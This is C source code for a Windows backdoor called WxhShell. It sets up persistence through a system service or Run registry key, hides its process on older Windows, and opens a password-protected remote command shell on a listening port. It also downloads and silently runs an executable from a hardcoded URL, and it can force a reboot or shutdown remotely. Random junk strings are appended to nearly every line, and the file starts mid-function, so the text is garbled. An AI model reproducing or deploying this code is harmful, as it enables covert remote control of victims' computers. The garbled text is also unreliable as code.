    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vZsVxx99  
    if(Boot(SHUTDOWN)) <Z[R08 k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4[wP$  
    else { : r=_\?  
    closesocket(wsh); 'Mtu-\  
    ExitThread(0); G}*B`m  
    } XjNu|H/  
    break; 8&bj7w,K  
    } egvWPht'_  
  // 获取shell 9IV WbJ  
  case 's': { ?i"FdpW  
    CmdShell(wsh); pj6Cvq4bD  
    closesocket(wsh); ~E~J*R Ze  
    ExitThread(0); ^DOcw@Z6HC  
    break; FW,D\51pTP  
  } Y@eUvz  
  // 退出 7\ lb+^$  
  case 'x': { cCs:z   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WBIS  
    CloseIt(wsh); 4vphLAm  
    break; 4{pa`o3  
    } wr(?L7 $+  
  // 离开 ,5 ,4Qf7  
  case 'q': { Tc :`TE=2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); AJ mzg  
    closesocket(wsh); 5[k35 c{  
    WSACleanup(); \;<Y/sg  
    exit(1); D?R  z|  
    break; cCIEG e6  
        } mLO6`]p{H  
  } )ej8vm  
  } QkbN2mFv%  
!/SFEL@_B  
  // 提示信息 ;iVyJZI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sz&`=x#  
} G 2##M8:U0  
  } ;d4_l:9p  
;f\0GsA#  
  return; Nx__zC^r  
} so*7LM?ib>  
\9DTf:!4Z  
// shell模块句柄 |rQ;|+.  
int CmdShell(SOCKET sock) "fdG5|NJe  
{ {H74`-C)W  
STARTUPINFO si; < jF<_j  
ZeroMemory(&si,sizeof(si)); <Coh &g_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *0@e_h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /VQ<}S[k}-  
PROCESS_INFORMATION ProcessInfo; 3 0Z;}<)9  
char cmdline[]="cmd"; P%c<0y"O:>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5h&8!!$[  
  return 0; H{8\<E:V+}  
} I5mS!m/X  
9TLP(  
// 自身启动模式 l; 4F,iI  
int StartFromService(void) qM)^]2_-  
{ /+iaw~={"  
typedef struct 5ym =2U  
{ UT-=5  
  DWORD ExitStatus; 6*E 7}  
  DWORD PebBaseAddress; s$;v )w$  
  DWORD AffinityMask; UZ$p wjC  
  DWORD BasePriority; -9mh|&z`  
  ULONG UniqueProcessId; BshS@"8r  
  ULONG InheritedFromUniqueProcessId; XcXd7e  
}   PROCESS_BASIC_INFORMATION; 5o?bF3  
/dAIg1ra  
PROCNTQSIP NtQueryInformationProcess; YL]x>7T~4t  
/D12N'VaE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fg2}~ 02n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uv$y"1'g  
>}iYZ[ V  
  HANDLE             hProcess; 51A>eU|  
  PROCESS_BASIC_INFORMATION pbi; j<[<qU:  
uAP|ASH9T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PF~&!~S>W  
  if(NULL == hInst ) return 0; 4D8q Gti  
f`Nu]#i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {,m!%FDL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +J2=\YO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I?=Q *og  
@S{,g;8  
  if (!NtQueryInformationProcess) return 0; }.#C9<"}  
rfk';ph  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %}@^[E)  
  if(!hProcess) return 0; &\A$Rj)  
F[lHG,g-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?w.Yx$Z"  
: v]< h  
  CloseHandle(hProcess); jGt[[s  
p&7>G-.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xk,E A U  
if(hProcess==NULL) return 0; /2c?+04+  
_.j KcDf  
HMODULE hMod;  j%lW+ [%  
char procName[255]; B=f{`rM)~W  
unsigned long cbNeeded; 83@+X4ptp  
!e?\> '  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E @7! :  
OHB!ec6W  
  CloseHandle(hProcess); oD.f/hi0|  
Fw|5A"9'a'  
if(strstr(procName,"services")) return 1; // 以服务启动 iS"rMgq  
qYE-z( i  
  return 0; // 注册表启动 (+_Amw!W  
} 2a{eJ89f  
>q`G?9d2  
// 主模块 %P?W^mI  
int StartWxhshell(LPSTR lpCmdLine) DpA)Z ??  
{ yY!jkRq%w  
  SOCKET wsl; 6d_l[N  
BOOL val=TRUE; {W0@lMrD  
  int port=0; J &c}z4  
  struct sockaddr_in door; ]_-<[0  
B!,})F$x  
  if(wscfg.ws_autoins) Install(); T^"d%au  
b747eR 7E  
port=atoi(lpCmdLine); lGxG$0`;;  
WHU& 9N  
if(port<=0) port=wscfg.ws_port; .; :[sv)  
)%*uMuF  
  WSADATA data; djk   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sYvO"|  
mFT[[Z#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sx6` g;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ='~C$%  
  door.sin_family = AF_INET; P",53R+"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EPyFM_k  
  door.sin_port = htons(port); MVV<&jho{^  
En1pz\'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7.]ZD`"Bb  
closesocket(wsl); gbF.Q7?$u  
return 1; JTVCaL3Z  
} tL D.e  
*F=w MWa  
  if(listen(wsl,2) == INVALID_SOCKET) { /7*u!CNm  
closesocket(wsl); Tmq:,.^}  
return 1; BONM:(1  
} 55Jk "V#8  
  Wxhshell(wsl); Q+S>nL!*#1  
  WSACleanup(); $AoN,B>  
=\tg$  
return 0; % nJ'r?+h  
07CGHAxJ`  
} GMFp,Df  
++xEMP)  
// 以NT服务方式启动 KVJiCdg-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DI+kO(S  
{ -B R&b2  
DWORD   status = 0; Ucv-}oa-?  
  DWORD   specificError = 0xfffffff; Q&yfl  
ns@b0'IF]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "",V\m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -8g ;t3z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q W) ,)i  
  serviceStatus.dwWin32ExitCode     = 0; UAa2oY&  
  serviceStatus.dwServiceSpecificExitCode = 0; 2uz<n}IV  
  serviceStatus.dwCheckPoint       = 0; yt$V<8a  
  serviceStatus.dwWaitHint       = 0; UA}k"uM  
d!!5'/tmS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  u"tv6Qp  
  if (hServiceStatusHandle==0) return; X=-pNwO   
|Zz3X  
status = GetLastError(); .I[uXd  
  if (status!=NO_ERROR) 7x`uGmp1  
{ FD[* mCGZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )'92{-A0  
    serviceStatus.dwCheckPoint       = 0; (eHvp  
    serviceStatus.dwWaitHint       = 0; Aqq%HgY:t  
    serviceStatus.dwWin32ExitCode     = status; \S3C"P%w  
    serviceStatus.dwServiceSpecificExitCode = specificError; IeE+h-3p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eo"6 \3z  
    return; l1a=r:WhH  
  } .hnGHX  
8\/E/o3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #}l }1^$  
  serviceStatus.dwCheckPoint       = 0; #BF(#1:  
  serviceStatus.dwWaitHint       = 0; R/U"]Rc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tPc'# .  
} J=5G<  
(',G Ako  
// 处理NT服务事件,比如:启动、停止 ;DBO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {}[S,L  
{ 19h8p>Sx0  
switch(fdwControl) F(:+[$)  
{ ` Y"Rh[C  
case SERVICE_CONTROL_STOP: !ZHPR:k|  
  serviceStatus.dwWin32ExitCode = 0; FX 0^I 0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pJ1GB  
  serviceStatus.dwCheckPoint   = 0; uG~%/7Qt{  
  serviceStatus.dwWaitHint     = 0; Jy{A1i@4~s  
  { xqX~nV#TB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }>fL{};Z"  
  } 4, 8gf2  
  return; - TSn_XE  
case SERVICE_CONTROL_PAUSE: >cQ*qXI0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qbpvTTF  
  break; O]90 F  
case SERVICE_CONTROL_CONTINUE: USfOc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~\(U&2t  
  break; r)q6^|~47  
case SERVICE_CONTROL_INTERROGATE: j'I$F1>Te  
  break; K'7i$bl%  
}; h{VCx#!]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bo`w( h_  
} Fn yA;,*  
#P<v[O/rA  
// 标准应用程序主函数 JEGcZeq)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Wl?*AlFlk  
{ @?f3(G h,  
[?yOJU%`  
// 获取操作系统版本 Xq1n1_Z  
OsIsNt=GetOsVer(); vH9/}w2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lr V)}1&5  
/!uxP~2U  
  // 从命令行安装 !zVuO*+  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ay22-/C|@  
7?dB&m6W  
  // 下载执行文件 n@Y`g{{e~  
if(wscfg.ws_downexe) { ;XRLp:y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |U>BXX P  
  WinExec(wscfg.ws_filenam,SW_HIDE); =AUR]&_B  
} ;spuBA)[X  
n(0O'nS^  
if(!OsIsNt) { 5a&[NN  
// 如果时win9x,隐藏进程并且设置为注册表启动 25o + ?Y<  
HideProc(); ^D ;X  
StartWxhshell(lpCmdLine); o'?Y0Wt  
} 7_?:R2]n  
else HFB2ep7N  
  if(StartFromService()) OIe {Sx{y  
  // 以服务方式启动 H_3S#.  
  StartServiceCtrlDispatcher(DispatchTable); YR=<xn;m.  
else cL7je  
  // 普通方式启动 H*?U@>UU  
  StartWxhshell(lpCmdLine); RgZBh04q  
&NL=Bd  
return 0; pdngM 8n  
} rc<^6HqD  
r\.1=c#"bP  
T4F}MVK  
{ %vX/Ek  
=========================================== ;lB%N t<,  
t:9}~%~  
g~S>_~WL  
Eo!1 WRruF  
a]Bm0gdrO  
9N:Bu'j&/  
" u I}S9  
m>yk4@a  
#include <stdio.h> O&!+ni  
#include <string.h> =) $a>N  
#include <windows.h> f nX!wN  
#include <winsock2.h> Kzb&aOw  
#include <winsvc.h> J$%mG*Y(  
#include <urlmon.h> ?kI-o0@O.  
@TdPeTw\  
#pragma comment (lib, "Ws2_32.lib") N4}j,{#  
#pragma comment (lib, "urlmon.lib") &jT>)MXPu  
U@@#f;&  
#define MAX_USER   100 // 最大客户端连接数 2G=Bav\n+  
#define BUF_SOCK   200 // sock buffer NIY0f@1z-  
#define KEY_BUFF   255 // 输入 buffer >2_BL5<S  
MS)#S&  
#define REBOOT     0   // 重启 J}Bg<[n  
#define SHUTDOWN   1   // 关机 ka0T|$ u(s  
3J7TWOJVw  
#define DEF_PORT   5000 // 监听端口 {OL*E0  
/J aH  
#define REG_LEN     16   // 注册表键长度 #I'W[\l~+  
#define SVC_LEN     80   // NT服务名长度 q.yS j  
&cV$8*2b^  
// 从dll定义API VLQDktj&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y)X;g:w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "CapP`:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fIu5d6;'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +ByxhSIr  
hPE#l?H@A  
// wxhshell配置信息 AU)"L_ i}  
struct WSCFG { R] tHd=kf  
  int ws_port;         // 监听端口 5)+(McJC  
  char ws_passstr[REG_LEN]; // 口令 AyB-+oTf(  
  int ws_autoins;       // 安装标记, 1=yes 0=no /pan{.< k  
  char ws_regname[REG_LEN]; // 注册表键名 d kHcG&)  
  char ws_svcname[REG_LEN]; // 服务名 0?qXDO&~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gbL99MZ@~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #o SQWC=T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bHH{bv~Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *6s B$E_y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" " ;_bB"q*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hZ Gr/5f  
6;60}y  
}; <W2}^q7F^  
}L^Yoq]  
// default Wxhshell configuration IsxPm9P2<  
struct WSCFG wscfg={DEF_PORT, (cAv :EKpo  
    "xuhuanlingzhe", 8>RGmue  
    1, {mY<R`Ee  
    "Wxhshell", s-Q-1lKV,  
    "Wxhshell", tSV}BM,  
            "WxhShell Service", 7h?PVobe  
    "Wrsky Windows CmdShell Service", 7(rTGd0  
    "Please Input Your Password: ", =u QCm#  
  1, g dT3,8`#[  
  "http://www.wrsky.com/wxhshell.exe", w|pk1~c(_  
  "Wxhshell.exe" PX65Z|~>_  
    }; m(,vym t  
0AP wk }  
// 消息定义模块 L MC-1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y8HLrBTza  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {";5n7<<)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wv>Pn0cO  
char *msg_ws_ext="\n\rExit."; }jBr[S5  
char *msg_ws_end="\n\rQuit."; ol^V@3[<  
char *msg_ws_boot="\n\rReboot..."; ;2q;RT`h  
char *msg_ws_poff="\n\rShutdown..."; M p:c.  
char *msg_ws_down="\n\rSave to "; M8X*fYn  
/tM<ois*  
char *msg_ws_err="\n\rErr!"; $9Ho d-Z1  
char *msg_ws_ok="\n\rOK!"; .\= GfF'  
9:4PJ%R9  
char ExeFile[MAX_PATH]; `e .;P  
int nUser = 0; ^)<>5.%1''  
HANDLE handles[MAX_USER]; s Z(LT'}  
int OsIsNt; 2hdi)C,7Y  
O Ul+es  
SERVICE_STATUS       serviceStatus; M,"4r^%k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9a9<I  
BoYWx^VHx^  
// 函数声明 Q%KH^<  
int Install(void); rV d(H  
int Uninstall(void); W-<E p<7{  
int DownloadFile(char *sURL, SOCKET wsh); $%ZEP> ]  
int Boot(int flag); osyY+)G'sV  
void HideProc(void); ,LKY?=T$z  
int GetOsVer(void); YNA %/  
int Wxhshell(SOCKET wsl); {\ [u2{  
void TalkWithClient(void *cs); b2u_1P\  
int CmdShell(SOCKET sock); "(5A 5>  
int StartFromService(void); xfCq;?MupW  
int StartWxhshell(LPSTR lpCmdLine); {LYA?w^GT  
pj;cL ]L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7GY[l3arxv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /1:`?% ,2  
hPF9y@lh  
// 数据结构和表定义 ugcWFB5|  
SERVICE_TABLE_ENTRY DispatchTable[] = A1e|Y  
{ (`x6QiG!  
{wscfg.ws_svcname, NTServiceMain}, ZfM(%rx  
{NULL, NULL} y5B4t6M(  
}; G`!#k!&r  
a9 7A{7I&  
// 自我安装 u:& gp  
int Install(void) Yf&x]<rkCp  
{ ,+<NP}Yg#G  
  char svExeFile[MAX_PATH]; U4qp?g+:  
  HKEY key; Z2~;u[0a[  
  strcpy(svExeFile,ExeFile); ,pE{N&p9  
%>`0hk88  
// 如果是win9x系统,修改注册表设为自启动 YQe9g>G&  
if(!OsIsNt) { Rd|};-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GV#"2{t j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EpSVHD:*  
  RegCloseKey(key); e#JJd=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W4Rs9NA}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ; S7 %  
  RegCloseKey(key); Uq `B#JI  
  return 0; T5?@'b8F6  
    } `=0}+  
  } Q!(16  
} tNg}: a|J  
else { ]u  4  
KZUB{Y^)  
// 如果是NT以上系统,安装为系统服务 }eb}oK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z40uY]Ck  
if (schSCManager!=0) +168!Jw;  
{ W(a31d  
  SC_HANDLE schService = CreateService `VY -3  
  ( bDVz+*bU}  
  schSCManager, (Em^qN  
  wscfg.ws_svcname, &Q 7Q1`S  
  wscfg.ws_svcdisp, +pp|Qgr 3  
  SERVICE_ALL_ACCESS, =UYZ){rt9E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?ORG<11a  
  SERVICE_AUTO_START, dPgN*Bdv  
  SERVICE_ERROR_NORMAL, Jj4!O3\I  
  svExeFile, +#7 e?B  
  NULL, *>,8+S33r{  
  NULL, .)~IoIW=  
  NULL, URS6 LM  
  NULL, XcB!9AIO  
  NULL PB00\&6H  
  ); 'bVDmm).  
  if (schService!=0) `K37&b;`[  
  { f(!:_!m*  
  CloseServiceHandle(schService);  vp7J';  
  CloseServiceHandle(schSCManager); XoEiW R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <seb,> :  
  strcat(svExeFile,wscfg.ws_svcname); oV"#1lp*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l\< *9m<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >utm\!Gac  
  RegCloseKey(key); |LA@guN  
  return 0; D_er(  
    } rKg~H=4x2  
  } .si!`?K%[  
  CloseServiceHandle(schSCManager); 0J7)UqMf.  
} ,pL%,>R5  
} ,paD/  
L]I ;{Y  
return 1; r(-`b8ZE  
} 0m k-o  
%K[_;8  
// 自我卸载 I:M]#aFD  
int Uninstall(void) 6qg_&woJ3  
{ w&<-pIa`  
  HKEY key;  Xr'Y[E [  
AX3iB1):K  
if(!OsIsNt) { !\w@b`Iv8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I?c "\Fe  
  RegDeleteValue(key,wscfg.ws_regname); jx B  
  RegCloseKey(key); :H($|$\h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7(c7-  
  RegDeleteValue(key,wscfg.ws_regname); >8h14uCk  
  RegCloseKey(key); k+ [V%[U  
  return 0; j"o8]UT/  
  } s8;/'?K  
} t;X  !+  
} #rnO=N8  
else { 5#kN<S!  
*9.4AW~]X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r5y p jT^  
if (schSCManager!=0) "`<tq#&C1  
{ OSACH0h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); nP`#z&C  
  if (schService!=0) @vzv9c[  
  { A'Q=Do E  
  if(DeleteService(schService)!=0) { w5zr Ek#  
  CloseServiceHandle(schService); &,E^ y,r  
  CloseServiceHandle(schSCManager); eT 8(O36%  
  return 0; &("HH"!  
  } D >ax<t1K  
  CloseServiceHandle(schService); Hw[(v[v  
  } 1N8gH&oF  
  CloseServiceHandle(schSCManager); Sh&n DdF"  
} K[} 5bjh>  
} aVTTpMY  
_Q&O#f  
return 1; W  &wqN  
} ^APPWQUl  
\$;Q3t3  
// 从指定url下载文件 pxC:VJ;  
int DownloadFile(char *sURL, SOCKET wsh) n:QFwwQ`Q;  
{ "Z xM,kI  
  HRESULT hr; *^agwQ`  
char seps[]= "/"; YI[y/~!  
char *token; S ?v^/F  
char *file; xZ2^lsY  
char myURL[MAX_PATH]; 3%`asCW$  
char myFILE[MAX_PATH]; +<qmVW^X  
P]V/<8o.53  
strcpy(myURL,sURL); YT:])[gVV  
  token=strtok(myURL,seps); q6E8^7RtS@  
  while(token!=NULL) 7bcl^~lY  
  { , c3gW2E  
    file=token; j;%RV)e  
  token=strtok(NULL,seps); E(t:F^z&D  
  } .FV wZ:d  
eYSVAj  
GetCurrentDirectory(MAX_PATH,myFILE); 79}voDFd  
strcat(myFILE, "\\"); 4-ijuqjN  
strcat(myFILE, file); ~:h-m\=8Y  
  send(wsh,myFILE,strlen(myFILE),0); W>jgsR79M  
send(wsh,"...",3,0); yxv]G6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "^?|=sQ  
  if(hr==S_OK) U9N1 )3/u  
return 0; p\xi5z  
else h$\+r<  
return 1; IC5[:UZ5]  
9hoTxWpmy  
} jGV+ ~a  
i qLNX)  
// 系统电源模块 1E3'H7k\t  
int Boot(int flag) snU $Na3  
{ & QO9/!  
  HANDLE hToken; Y"eR&d  
  TOKEN_PRIVILEGES tkp; d:|(l^]{r  
V* :Q~ ^  
  if(OsIsNt) { DdAs]e|D[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [}p/pj=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H~fX >6>  
    tkp.PrivilegeCount = 1; mC-'z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h7 uv0a~0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wXj!bh8\r  
if(flag==REBOOT) { =lyP &u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z?XgY\(a(Q  
  return 0;  k2]Q~  
} 3RYg-$NK[  
else { Xgq-r $O2X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "l83O8 L  
  return 0; 2y_R05O0  
} M{sn{  
  } Ojea~Y]Sr  
  else { |[%CFm}+?  
if(flag==REBOOT) { ]U9f4ODt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E05RqnqBn0  
  return 0; iEe<+Eyns  
} -wA^ao   
else { G5;N#^myJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !%v=9muay  
  return 0; <W$Ig@4[.d  
} %+>t @F,GM  
} $x%3^{G  
V%kZ-P*  
return 1; zxo0:dyw7  
} A'jw;{8NpF  
l8O12  
// win9x进程隐藏模块 ,2*^G;J1  
void HideProc(void) L\O}q  
{ +i %,+3#6  
jGp|:!'w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .JkcCEe{G  
  if ( hKernel != NULL ) D7'P^*4_B  
  { *ud"?{)Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lQ t&K1m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jg,oGtRz  
    FreeLibrary(hKernel); dV~yIxD}C*  
  } J~\`8cds  
Muhq,>!U  
return; M@R_t(&=   
} L%3m_'6QP  
x{Gdr51%  
// 获取操作系统版本 vocXk_  
int GetOsVer(void) Stq [[S5P  
{ HOEjLwH  
  OSVERSIONINFO winfo; k@,&'imx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )_7OHV *3  
  GetVersionEx(&winfo); &HS6}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ru1I,QvCj"  
  return 1; #fF~6wopV  
  else \5k^zGF4o  
  return 0; ;PBybR W  
} M*& tVG   
81(.{Y839_  
// 客户端句柄模块 kX\\t.nH  
int Wxhshell(SOCKET wsl) !W^b:qjJ  
{ .:<-E%  
  SOCKET wsh; %Q)3*L  
  struct sockaddr_in client; Hg~O0p}[  
  DWORD myID; t1y hU"(J  
AqD)2O{VO  
  while(nUser<MAX_USER) R0 g-  
{ |.]:#)^X?  
  int nSize=sizeof(client); W~TT`%[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4bT21J37  
  if(wsh==INVALID_SOCKET) return 1; f1Ak0s,zrc  
rQW&$M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c]qq *k#  
if(handles[nUser]==0) B%|cp+/  
  closesocket(wsh); sQBl9E'!be  
else f*+eu @  
  nUser++; j'z}m+_?  
  } %:^|Q;xe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b~M3j&  
kt.y"^  
  return 0; ?q&*|-%)_d  
} /uTU*Oe  
dy4! >zxF  
// 关闭 socket LD'eq\vO  
void CloseIt(SOCKET wsh) ~S\Ee 2e>  
{ kfod[*3  
closesocket(wsh); FfDe&/,/  
nUser--; 7 TTU&7l~  
ExitThread(0); R'#[}s  
} l7{Xy_66  
'>GZB  
// 客户端请求句柄 +1K9R\  
void TalkWithClient(void *cs) ^|z  
{ t@a2@dX|  
W!$aK)]4u  
  SOCKET wsh=(SOCKET)cs; N2!HkUy2  
  char pwd[SVC_LEN]; @KM !g,f  
  char cmd[KEY_BUFF]; -y8?"WB(b  
char chr[1]; <X7x  
int i,j; '.n0[2>  
{x3"/sF  
  while (nUser < MAX_USER) { 4g}eqW  
cx]&ae*  
if(wscfg.ws_passstr) { 8 |2QJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \r_-gn'1b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 99'e)[\  
  //ZeroMemory(pwd,KEY_BUFF); k<mfBNvuo  
      i=0; .%{3#\  
  while(i<SVC_LEN) { Ppw0vaJ^  
,a N8`M  
  // 设置超时  pw^$WK  
  fd_set FdRead; 95.m^~5  
  struct timeval TimeOut; Q@]QPpe  
  FD_ZERO(&FdRead); b)+;#m  
  FD_SET(wsh,&FdRead); 5ua`5Hb;  
  TimeOut.tv_sec=8; |1sl>X,  
  TimeOut.tv_usec=0; dgLE/r?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3},0b8};  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KrcL*j&^  
&|;XLRHP}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +|#lUXC  
  pwd=chr[0]; 7Eo a~  
  if(chr[0]==0xd || chr[0]==0xa) { 3$fzqFo  
  pwd=0; 3)jFv7LAU  
  break; jB+K)NXHL  
  } jf_xm=n  
  i++; ![=C`O6K  
    } 89*txYmx  
?:D#\4=US  
  // 如果是非法用户,关闭 socket ZT*RD2,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z=VAjJ;i[  
} -;5WMX 6  
UY@^KT]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :VP*\K/:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q*`1<9{H  
"E4;M/  
while(1) { ElJM. a  
PuKT0*_ 7  
  ZeroMemory(cmd,KEY_BUFF); vM_UF{a$=  
dso6ZRx  
      // 自动支持客户端 telnet标准   -6wjc rTD  
  j=0; 3q{op9_T7  
  while(j<KEY_BUFF) { J2rw4L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y|sU-O2}Dl  
  cmd[j]=chr[0]; (/x%zmY;/U  
  if(chr[0]==0xa || chr[0]==0xd) { XH9Y|FX%#  
  cmd[j]=0; U^ bF}4m  
  break; S8 +GM  
  } 99GzhX_  
  j++; 0L3v[%_j"  
    } DG2CpR)S  
Lye^G% {  
  // 下载文件 nnP] x [  
  if(strstr(cmd,"http://")) { L'=mDb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [1OX: O|  
  if(DownloadFile(cmd,wsh)) )U6-&-07  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }n!$)W*?  
  else ~ ZkSYW<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]yc&ffe%  
